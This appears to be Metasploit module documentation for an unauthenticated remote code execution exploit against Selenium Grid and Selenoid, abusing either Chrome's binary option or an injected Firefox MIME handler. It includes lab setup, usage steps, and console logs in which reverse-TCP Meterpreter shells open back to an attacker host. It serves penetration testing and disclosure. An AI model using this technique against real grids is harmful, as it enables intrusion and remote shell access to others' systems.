## Vulnerable Application

Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions
with arbitrary capabilities. When deployed without authentication (the default for both),
an attacker can achieve remote code execution through two browser-specific techniques:

**Chrome (binary override):** The `goog:chromeOptions` binary field can be set to an
arbitrary executable such as `/usr/bin/python3`, since ChromeDriver does not validate it.
This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid
versions remain vulnerable.

**Firefox (profile handler):** A custom profile containing a malicious MIME handler that maps
`application/sh` to `/bin/sh` can be injected via `moz:firefoxOptions`. Navigating to a
`data:` URI with that content type triggers shell execution. This technique has never been
patched and works on all Selenium Grid versions including the latest release (4.40.0 at the
time of writing). This was originally reported in
[SeleniumHQ/selenium#9526](https://github.com/SeleniumHQ/selenium/issues/9526) in May 2021.

The module auto-detects available browsers and selects the best attack vector. Firefox is
preferred as it works on all Grid versions.

The default Docker images run as `seluser`/`selenium` with passwordless sudo, allowing
trivial privilege escalation to root.

The vulnerability affects:

    * Selenium Grid < 4.11.0 with Chrome nodes (binary override)
    * Selenium Grid - all versions with Firefox nodes (profile handler, unpatched)
    * Selenoid - all versions with Chrome or Firefox (project archived December 2024)

This module was successfully tested on:

    * selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 (Chrome binary override)
    * selenium/standalone-firefox:4.10.0 on Ubuntu 24.04 (Firefox profile handler)
    * selenium/standalone-firefox:latest (4.40.0) on Ubuntu 24.04 (Firefox profile handler)
    * Selenoid 1.11.3 with selenoid/chrome:128.0 on Ubuntu 24.04 (Chrome binary override)

### Installation (Selenium Grid - Firefox)

1. `docker pull selenium/standalone-firefox:latest`

2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-firefox:latest`

### Installation (Selenium Grid - Chrome)

1. `docker pull selenium/standalone-chrome:4.10.0`

2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0`

### Installation (Selenoid)

1. Create `browsers.json`:
```json
{
  "chrome": {
    "default": "128.0",
    "versions": {
      "128.0": {
        "image": "selenoid/chrome:128.0",
        "port": "4444",
        "path": "/"
      }
    }
  }
}
```

2. `docker pull selenoid/chrome:128.0`

3. Start Selenoid:
```
docker run -d -p 4444:4444 \
  -e DOCKER_API_VERSION=1.44 \
  -v $(pwd)/browsers.json:/etc/selenoid/browsers.json:ro \
  -v /var/run/docker.sock:/var/run/docker.sock \
  aerokube/selenoid:latest-release
```

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/selenium_greed_rce`
4. Do: `set RHOSTS <rhost>`
5. Do: `set LHOST <lhost>`
6. Do: `run`
7. You should get a session

## Options

### BROWSER

Browser to exploit. Default is `auto` which detects available browsers and picks the
best vector (Firefox preferred, Chrome fallback). Can be set to `firefox` or `chrome`
to force a specific browser.

## Scenarios

### Firefox (auto-detected) - selenium/standalone-firefox:4.40.0 on Ubuntu 24.04

```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4480
LPORT => 4480
msf6 exploit(linux/http/selenium_greed_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/selenium_greed_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set FETCH_SRVPORT 9100
FETCH_SRVPORT => 9100
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4480
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.40.0 with Firefox (all versions vulnerable to profile handler)
[*] Auto-selected Firefox (profile handler - works on all Grid versions)
[*] Creating Firefox session with malicious profile...
[*] Session created: 74d019ac-e7eb-4604-9c48-80baf43da5d9
[*] Navigating to data: URI to trigger handler...
[*] Sending stage (3090404 bytes) to 172.17.0.5
[+] Deleted /tmp/EUeiCPJfsLF
[*] Meterpreter session 1 opened (172.17.0.1:4480 -> 172.17.0.5:37004)

meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer     : 56a95484dc83
OS           : Linux 6.14.0-123037-tuxedo
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### Chrome (auto-detected) - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04

```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4481
LPORT => 4481
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4481
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 with Chrome (vulnerable to binary override)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23404 bytes) to 172.17.0.7
[*] Meterpreter session 1 opened (172.17.0.1:4481 -> 172.17.0.7:50292)

meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer     : 90f5a4eefae5
OS           : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter  : python/linux
meterpreter >
```

### Selenoid 1.11.3 - selenoid/chrome:128.0 on Ubuntu 24.04

```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4453
LPORT => 4453
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4453
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenoid 1.11.3 built at 2024-05-25_12:34:40PM (all versions vulnerable)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23408 bytes) to 172.17.0.10
[*] Meterpreter session 1 opened (172.17.0.1:4453 -> 172.17.0.10:42984)

meterpreter > getuid
Server username: selenium
meterpreter > sysinfo
Computer     : 669a719f93da
OS           : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter  : python/linux
meterpreter >
```
